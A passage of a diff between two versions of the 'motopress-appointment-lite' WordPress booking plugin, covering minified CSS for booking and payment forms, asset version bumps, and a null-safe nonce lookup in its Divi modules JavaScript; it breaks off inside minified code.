.cell{width:100%}.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:50%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-days,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-days,.appointment-form-shortcode .mpa-booking-step-period .dayContainer,.appointment-form-widget>.widget-body .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-day,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.appointment-form-shortcode .mpa-booking-step-period .mpa-slot-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-slot-capacity{display:block}.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.appointment-form-shortcode .mpa-checkout-form .iti,.appointment-form-widget>.widget-body .mpa-checkout-form .iti{width:100%}.appointment-form-shortcode .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .mpa-phone-number--invalid{border-color:red;color:red}.appointment-form-shortcode .mpa-phone-field-error,.appointment-form-widget>.widget-body .mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.appointment-form-shortcode .wp-admin .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details,.appointment-form-shortcode .mpa-booking-step-checkout .mpa-customer-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-customer-details{padding:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details{margin-bottom:40px}@media screen and (min-width: 800px){.appointment-form-shortcode .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people{display:inline-block;width:auto}}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details{list-style:none;margin:0;padding:0;display:flex;flex-wrap:wrap}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li{flex:1 0 auto;margin:0 1.5em 1.5em 0;padding-left:0;padding-right:1.5em;border-right:1px dashed #d3ced2}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type{border:none;margin-right:0;padding-right:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label{display:block;font-size:.85em}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity{display:block;font-size:x-small}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways{padding:0;margin:0;list-style:none}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li{margin-top:1em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label{display:inline}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description{margin:0}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields{margin-top:.5em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-booking,.appointment-form-widget>.widget-body .mpa-booking-step-booking{flex-grow:2}.appointment-form-shortcode .mpa-booking-step-booking .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-booking .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-service-employees{display:flex;flex-wrap:wrap;align-items:center}.mpa-service-employees img{width:45px;height:45px;border-radius:50%;border:3px solid #fff;margin-left:-15px}.mpa-service-employees img:first-child{margin-left:0}.mpa-service-employees img:first-child{z-index:5}.mpa-service-employees img:nth-child(2){z-index:4}.mpa-service-employees img:nth-child(3){z-index:3}.mpa-service-employees img:nth-child(4){z-index:2}.mpa-service-employees img:nth-child(5){z-index:1}.mpa-service-employees .more-employees,.mpa-service-employees .employee-name{margin-left:5px}.mpa-booking-details .mpa-booking-details-section{margin-bottom:1.5em;border:1px solid #eee;padding:.75em 0}.mpa-booking-details .mpa-booking-details-section:last-child{margin-bottom:0}.mpa-booking-details .mpa-booking-details-section-row{display:flex;flex-wrap:wrap;margin:0}.mpa-booking-details .mpa-booking-details-section-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-booking-details .mpa-booking-details-section-row .cell{width:50%}}.mpa-booking-details .booking-reservations,.mpa-booking-details .booking-payments{padding:0}.mpa-booking-details .reservation{border-bottom:1px solid #eee;padding:.75em 0;margin-bottom:0}.mpa-booking-details .reservation:last-child{border:0}.mpa-booking-details .reservation .reservation-calendar-links{display:flex;width:100%}.mpa-booking-details .reservation-title,.mpa-booking-details .reservation-full-date{font-weight:700}.mpa-booking-details .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-booking-details .payment{border-bottom:1px solid #eee;padding:.75em 0}.mpa-booking-details .payment:last-child{border:0}.mpa-booking-details-shortcode+.mpa-direct-link-booking-cancellation-link-shortcode{margin-top:1.5em}.mpa-account-menu{margin-bottom:1.5em}.mpa-account-menu ul{list-style:none;padding:0;margin:0}.mpa-account-menu li{display:inline-block;padding:0;margin:0 .5em 0 0}.mpa-account-menu li:last-child{margin-right:0}.mpa-account-menu li::after,.mpa-account-menu li::before{display:none}.mpa-account-bookings{table-layout:auto;font-size:.85em}@media screen and (max-width: 767px){.mpa-account-bookings thead{display:none}.mpa-account-bookings tr{display:block}.mpa-account-bookings td{display:flex}.mpa-account-bookings td:before{content:attr(data-title) \" \";width:50%}}.mpa-account-bookings .booking-number{justify-content:center;gap:.25em}.mpa-account-bookings .booking-number:before{width:auto}.mpa-account-bookings .booking-reservations{flex-direction:column}.mpa-account-bookings .booking-reservations:before{display:none}.mpa-account-bookings .booking-reservation{margin-bottom:.5em}.mpa-account-bookings .booking-reservation:last-child{margin-bottom:0}.mpa-account-bookings .reservation-title{display:block}.mpa-account-details .mpa-customer-details{border:1px solid #eee;padding:.75em 0}.mpa-account-details .mpa-customer-details-row{display:flex;flex-wrap:wrap;margin:0}.mpa-account-details .mpa-customer-details-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-account-details .mpa-customer-details-row .cell{width:50%}}@media screen and (min-width: 992px){.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:wrap}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:relative}}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{max-height:300px}.mpa-stripe-payment-container{margin-bottom:1em}.mpa-stripe-payment-container .mpa-stripe-payment-methods>ul{cursor:pointer;margin:0 0 .5em 0;padding:0;list-style:none}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method{display:inline-block;margin:0 1.5em 0 0;padding-top:.5em;padding-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method:last-of-type{margin-right:0}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method.active label{box-shadow:0 2px currentColor}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method label{cursor:pointer}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method input[type=radio]{display:none}.mpa-stripe-payment-container .mpa-stripe-payment-fields fieldset{border:none;padding:0;margin:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement{box-sizing:border-box;padding:15px 12px;border:1px solid rgba(0,0,0,0);border-radius:4px;background-color:#fff;box-shadow:0 1px 6px 0 #e6ebf1;-webkit-transition:box-shadow 150ms ease;transition:box-shadow 150ms ease;margin-top:.5em;margin-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--focus{box-shadow:0 1px 3px 0 #cfd7df}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--invalid{border-color:#fa755a}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--webkit-autofill{background-color:#fefde5 !important}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-element.StripeElement{padding:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator{text-transform:uppercase;text-align:center}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:before,.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:after{content:\" - \"}.mpa-stripe-payment-container .mpa-errors{color:#e25950}.mpa-paypal-error{margin:5px 0;color:#e25950}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fsettings-page.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fsettings-page.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fsettings-page.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fsettings-page.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -38,7 +38,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\n@@ -81,7 +81,7 @@\n   display: inline-block;\n   width: 20px;\n   height: 20px;\n-  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\");\n+  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\");\n }\n \n .mpa-table th {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fsettings-page.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fsettings-page.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fsettings-page.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fsettings-page.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-list-table .column-label a{font-weight:bold}.mpa-list-table .column-actions{width:100px}#mpa-admin-emails .column-label,#mpa-customer-emails .column-label{width:40%}#mpa-admin-emails .column-label a,#mpa-customer-emails .column-label a{font-weight:bold}#mpa-admin-emails .column-switch,#mpa-customer-emails .column-switch{width:100px}#mpa-admin-emails .column-type,#mpa-customer-emails .column-type{width:120px}#mpa-admin-emails .column-recipients,#mpa-customer-emails .column-recipients{width:calc(60% - 320px);min-width:25%}#mpa-email-template-parts .column-label{width:calc(100% - 100px)}#mpa_stripe_payment_gateway_payment_methods-apple_pay,#mpa_stripe_payment_gateway_payment_methods-google_pay,#mpa_stripe_payment_gateway_payment_methods-link{margin-left:22px}.mpa-settings__tab-content{display:flex;flex-wrap:nowrap}.mpa-settings__tab-sections{display:flex;flex-direction:column;margin:1.2em 1.5em 1.2em 0;row-gap:.5em;border-right:2px dotted #ddd;padding-right:1.5em;min-width:130px}.mpa-settings__tab-sections .mpa-settings__tab-section{white-space:nowrap;text-align:right}.mpa-settings__tab-section--active{color:#000;display:inline-block;margin:0}.mpa-container-ctrl-wrapper>td{padding:0}.mpa-container-ctrl__label{margin-bottom:0}.mpa-checkbox-ctrl input{margin-top:0}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}\n\\ No newline at end of file\n+.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-list-table .column-label a{font-weight:bold}.mpa-list-table .column-actions{width:100px}#mpa-admin-emails .column-label,#mpa-customer-emails .column-label{width:40%}#mpa-admin-emails .column-label a,#mpa-customer-emails .column-label a{font-weight:bold}#mpa-admin-emails .column-switch,#mpa-customer-emails .column-switch{width:100px}#mpa-admin-emails .column-type,#mpa-customer-emails .column-type{width:120px}#mpa-admin-emails .column-recipients,#mpa-customer-emails .column-recipients{width:calc(60% - 320px);min-width:25%}#mpa-email-template-parts .column-label{width:calc(100% - 100px)}#mpa_stripe_payment_gateway_payment_methods-apple_pay,#mpa_stripe_payment_gateway_payment_methods-google_pay,#mpa_stripe_payment_gateway_payment_methods-link{margin-left:22px}.mpa-settings__tab-content{display:flex;flex-wrap:nowrap}.mpa-settings__tab-sections{display:flex;flex-direction:column;margin:1.2em 1.5em 1.2em 0;row-gap:.5em;border-right:2px dotted #ddd;padding-right:1.5em;min-width:130px}.mpa-settings__tab-sections .mpa-settings__tab-section{white-space:nowrap;text-align:right}.mpa-settings__tab-section--active{color:#000;display:inline-block;margin:0}.mpa-container-ctrl-wrapper>td{padding:0}.mpa-container-ctrl__label{margin-bottom:0}.mpa-checkbox-ctrl input{margin-top:0}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fdivi-modules.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fdivi-modules.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fdivi-modules.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fdivi-modules.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -2161,6 +2161,7 @@\n \t   * @access protected\r\n \t   *\u002F\n \t  setupProperties() {\n+\t    var _mpaData$nonces$mpa_c;\n \t    \u002F**\r\n \t     * @since 1.0\r\n \t     * @var {Map}\r\n@@ -2200,7 +2201,7 @@\n \n \t    \u002F\u002F Later, StepPayment will replace the nonce with\n \t    \u002F\u002F \"mpa_create_booking_{$bookingId}\"\n-\t    this.bookingNonce = mpaData.nonces.mpa_create_booking;\n+\t    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; \u002F\u002F Missing for blocks\n \t  }\n \n \t  \u002F**\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fdivi-modules.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fdivi-modules.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Fdivi-modules.min.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Fdivi-modules.min.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-!function(){\"use strict\";!function(e,t,i){function s(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a\u003Ci;a++)s[e[a]]=t[a];return s}function n(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)\u002Fs))+1;return[...Array(a).keys()].map((t=>t*i+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},i=\"GET\"){return new Promise(((s,a)=>{wp.apiRequest({path:o+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i=\"parsererror\";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==i&&(i=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(i))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, 